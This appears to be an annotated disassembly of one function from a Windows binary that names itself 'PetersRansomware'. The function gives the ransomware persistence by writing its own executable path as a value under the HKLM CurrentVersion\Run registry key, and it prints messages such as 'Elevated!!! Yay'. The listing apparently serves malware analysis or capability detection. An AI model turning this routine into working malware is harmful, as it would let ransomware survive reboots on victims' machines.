Function at 0x140005b80
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x80], 0xfffffffffffffffe
mov qword [rbp + 0x68], 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunsrcmain.rs
lea rcx, [rbp + 0x30]
mov r8d, 0x2d
call fcn.14001a150
movabs rdi, 0x8000000000000000
cmp qword [rbp + 0x30], rdi
jne 0x1400060e6
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rbp + 0x70], rdx
xor r8d, r8d
mov r9d, 0xf003f
call sub.ADVAPI32.dll_RegOpenKeyExA
mov rcx, qword [rbp + 0x70]
mov byte [rcx], 0
test eax, eax
je 0x140005c62
mov rdx, qword [rbp + 0x78]
test rdx, rdx
je 0x140005c25
mov r8d, 1
call fcn.140007c10
lea rax, str.Fail_to_open_registry_key_n
mov qword [rbp], rax
mov qword [rbp + 8], 1
lea rax, str.Elevated____Yay_nx
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov rcx, rbp
call fcn.14000b7f0
mov rcx, qword [rbp + 0x68]
call sub.ADVAPI32.dll_RegCloseKey
xor ebx, ebx
jmp 0x1400060b9
mov rdx, qword [rbp + 0x78]
test rdx, rdx
je 0x140005c76
mov r8d, 1
call fcn.140007c10
mov dword [rbp - 0xc], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x10], 0xc8
lea rcx, [rbp - 0x28]
mov r8d, 0xc8
xor edx, edx
call fcn.14001fd50
mov rsi, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
xorps xmm0, xmm0
movups xmmword [rsi + rax + 0xb0], xmm0
movups xmmword [rsi + rax + 0xa0], xmm0
movups xmmword [rsi + rax + 0x90], xmm0
movups xmmword [rsi + rax + 0x80], xmm0
movups xmmword [rsi + rax + 0x70], xmm0
movups xmmword [rsi + rax + 0x60], xmm0
movups xmmword [rsi + rax + 0x50], xmm0
movups xmmword [rsi + rax + 0x40], xmm0
movups xmmword [rsi + rax + 0x30], xmm0
movups xmmword [rsi + rax + 0x20], xmm0
movups xmmword [rsi + rax + 0x10], xmm0
movups xmmword [rsi + rax], xmm0
mov qword [rsi + rax + 0xbf], 0
mov byte [rsi + rax + 0xc7], 0
add rax, 0xc8
mov qword [rbp - 0x18], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunsrcmain.rs
lea rcx, [rbp + 0x30]
mov r8d, 0x2d
call fcn.14001a150
cmp qword [rbp + 0x30], rdi
jne 0x140006122
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x70], rax
lea rdx, str.PetersRansomware
lea rcx, [rbp + 0x30]
mov r8d, 0x11
call fcn.14001a150
cmp qword [rbp + 0x30], rdi
jne 0x14000615b
mov r8, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov rdx, qword [rbp + 0x78]
mov qword [rbp - 0x30], r8
mov r9d, 2
call sub.ADVAPI32.dll_RegGetValueA
mov rcx, qword [rbp - 0x30]
mov byte [rcx], 0
test eax, eax
je 0x140005fed
mov rdx, qword [rbp - 8]
test rdx, rdx
je 0x140005dcd
mov r8d, 1
call fcn.140007c10
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x70]
test rdx, rdx
je 0x140005de8
mov r8d, 1
call fcn.140007c10
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x38], 0
lea rcx, [rbp - 0x48]
mov r8d, 0xc8
xor edx, edx
call fcn.14001fd50
mov rdi, qword [rbp - 0x40]
mov r14, qword [rbp - 0x38]
xorps xmm0, xmm0
movups xmmword [rdi + r14 + 0xb0], xmm0
movups xmmword [rdi + r14 + 0xa0], xmm0
movups xmmword [rdi + r14 + 0x90], xmm0
movups xmmword [rdi + r14 + 0x80], xmm0
movups xmmword [rdi + r14 + 0x70], xmm0
movups xmmword [rdi + r14 + 0x60], xmm0
movups xmmword [rdi + r14 + 0x50], xmm0
movups xmmword [rdi + r14 + 0x40], xmm0
movups xmmword [rdi + r14 + 0x30], xmm0
movups xmmword [rdi + r14 + 0x20], xmm0
movups xmmword [rdi + r14 + 0x10], xmm0
movups xmmword [rdi + r14], xmm0
mov qword [rdi + r14 + 0xbf], 0
mov byte [rdi + r14 + 0xc7], 0
xor ecx, ecx
mov rdx, rdi
mov r8d, 0xc8
call sub.KERNEL32.dll_GetModuleFileNameA
add r14, 0xc8
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 0
mov dword [rbp + 0x78], eax
mov r13d, eax
xor edx, edx
lea r12, [rbp + 0x50]
xor r15d, r15d
jmp 0x140005ee5
inc r15
mov rax, qword [rbp + 0x58]
mov byte [rax + rdx], bl
mov rdx, qword [rbp + 0x60]
inc rdx
mov qword [rbp + 0x60], rdx
cmp r15, r13
jae 0x140005f0c
cmp r15, r14
jae 0x1400060cf
movzx ebx, byte [rdi + r15]
cmp rdx, qword [rbp + 0x50]
jne 0x140005ed0
mov rcx, r12
call fcn.140007a90
mov rdx, qword [rbp + 0x60]
jmp 0x140005ed0
cmp rdx, qword [rbp + 0x50]
jne 0x140005f1f
lea rcx, [rbp + 0x50]
call fcn.140007a90
mov rdx, qword [rbp + 0x60]
mov rax, qword [rbp + 0x58]
mov byte [rax + rdx], 0
inc qword [rbp + 0x60]
mov r14, qword [rbp + 0x68]
lea rdx, str.PetersRansomware
lea rcx, [rbp + 0x30]
mov r8d, 0x11
call fcn.14001a150
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x30], rax
jne 0x140006194
mov ecx, dword [rbp + 0x78]
inc ecx
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x58]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov rcx, r14
mov qword [rbp + 0x70], rdx
xor r8d, r8d
mov r9d, 1
call sub.ADVAPI32.dll_RegSetValueExA
mov rcx, qword [rbp + 0x70]
mov byte [rcx], 0
test eax, eax
sete bl
je 0x140006056
mov rdx, qword [rbp + 0x78]
test rdx, rdx
je 0x140005fb2
mov r8d, 1
call fcn.140007c10
lea rax, str.Fail_to_set_registry_key_n
mov qword [rbp], rax
mov qword [rbp + 8], 1
lea rax, str.Elevated____Yay_nx
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov rcx, rbp
call fcn.14000b7f0
mov rcx, qword [rbp + 0x68]
call sub.ADVAPI32.dll_RegCloseKey
jmp 0x140006073
mov rdx, qword [rbp - 8]
test rdx, rdx
je 0x140006001
mov r8d, 1
call fcn.140007c10
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x70]
test rdx, rdx
je 0x14000601c
mov r8d, 1
call fcn.140007c10
lea rax, str.Key_already_there__dont_do_anything_n
mov qword [rbp], rax
mov qword [rbp + 8], 1
lea rax, str.Elevated____Yay_nx
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov rcx, rbp
call fcn.14000b7f0
mov rcx, qword [rbp + 0x68]
call sub.ADVAPI32.dll_RegCloseKey
xor ebx, ebx
jmp 0x1400060a2
mov rdx, qword [rbp + 0x78]
test rdx, rdx
je 0x14000606a
mov r8d, 1
call fcn.140007c10
mov rcx, qword [rbp + 0x68]
call sub.ADVAPI32.dll_RegCloseKey
mov rdx, qword [rbp + 0x50]
test rdx, rdx
je 0x14000608b
mov rcx, qword [rbp + 0x58]
mov r8d, 1
call fcn.140007c10
mov rdx, qword [rbp - 0x48]
test rdx, rdx
je 0x1400060a2
mov r8d, 1
mov rcx, rdi
call fcn.140007c10
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x1400060b9
mov r8d, 1
mov rcx, rsi
call fcn.140007c10
mov eax, ebx
add rsp, 0x108
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x140021f08]
mov rcx, r15
mov rdx, r14
call fcn.140020a20
jmp 0x1400061cb
movups xmm0, xmmword [rbp + 0x30]
movups xmm1, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
lea rax, [0x140021e28]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021c50]
lea r9, [0x140021c80]
mov r8, rbp
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400061cb
movups xmm0, xmmword [rbp + 0x30]
movups xmm1, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
lea rax, [0x140021e40]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021c50]
lea r9, [0x140021c80]
mov r8, rbp
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400061cb
movups xmm0, xmmword [rbp + 0x30]
movups xmm1, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
lea rax, [0x140021e70]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021c50]
lea r9, [0x140021c80]
mov r8, rbp
mov edx, 0x2b
call fcn.140020cb0
jmp 0x1400061cb
movups xmm0, xmmword [rbp + 0x30]
movups xmm1, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
lea rax, [0x140021ec0]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021c50]
lea r9, [0x140021c80]
mov r8, rbp
mov edx, 0x2b
call fcn.140020cb0
ud2